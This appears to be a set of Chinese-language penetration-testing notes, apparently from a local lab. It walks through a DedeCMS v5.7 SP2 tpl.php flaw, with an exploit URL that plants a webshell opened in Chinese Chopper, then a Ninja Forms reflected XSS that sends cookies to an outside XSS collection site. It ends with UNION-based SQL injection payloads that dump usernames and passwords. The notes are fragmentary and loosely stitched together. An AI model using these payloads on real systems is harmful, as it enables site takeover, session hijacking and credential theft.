类型:
php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。
dedeCMS (CNVD-2018-01221)
漏洞简介
Dedecms v5.7 sp2版本tpl.php存在代码执行漏洞,攻击者可以利用该漏洞在增加的新的标签中上传木马
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
首先我们打开tpl.php文件后,找到指定目录,还有在PHP代码里发现了参数,我们把他get下来,复制到URL里面,发现要上传东西,我们首先要尝试随便传个,Ctrl+u查看源码,发现
除此之外我们还发现另外一个参数,感觉有用把他也get下来
我们首先要尝试随便传个,Ctrl+u查看源码,发现 token的意思是“令牌”,是服务端生成的一串字符串,作为客户端进行请求的一个标识。把这个参数也get下来,并且赋值,
再加上个一句话木马,
最后得到如下
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/tpl.php?action=savetagfile&token=db3b7aab1cdd04a0ff498b6b369caec7&filename=123.lib.php&content=
然后打开菜刀,右键添加,在地址上面,本地IP加目录路径和创建的PHP文件名,点击添加,打开文档就OK
环境搭建好了之后,打开网站根目录的url点击插件的已安装插件,启用Ninja Forms,
打开这个网站,发现有一个弹窗,但是弹窗不是目的,只是证明这个网站存在xss漏洞,
http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1">&nf_form_filter&paged=1
http://www.l31.cc/index.php
这个xss后台,进去之后,创建项目,
把这个xss复制上去,成功。
查看xss。项目详情,就看到了cookie,
sql注入。。。
进入SQL命令行,
应该记住在网页上要先获取库名----->表名------>字段名------>最终的值
information_schema
-tables
-- table_name tables表中的字段名,存放着其他数据库中的表的名字
-columns
--columns_name tables表中的字段名,存放着其他数据库中的表的名字
-- table_schema 指定数据库,
database() mysql下的函数,表示当前数据库名
information_schema.tables
concat(table_name) from information_schema.tables where table_schema=database(); ‘security’
获得表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
获得所有用户名
?id=-1' union select 1,2,group_concat(username) from security.users--+
获得字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获得所有密码
?id=-1' union select 1,2,group_concat(password) from security.users--+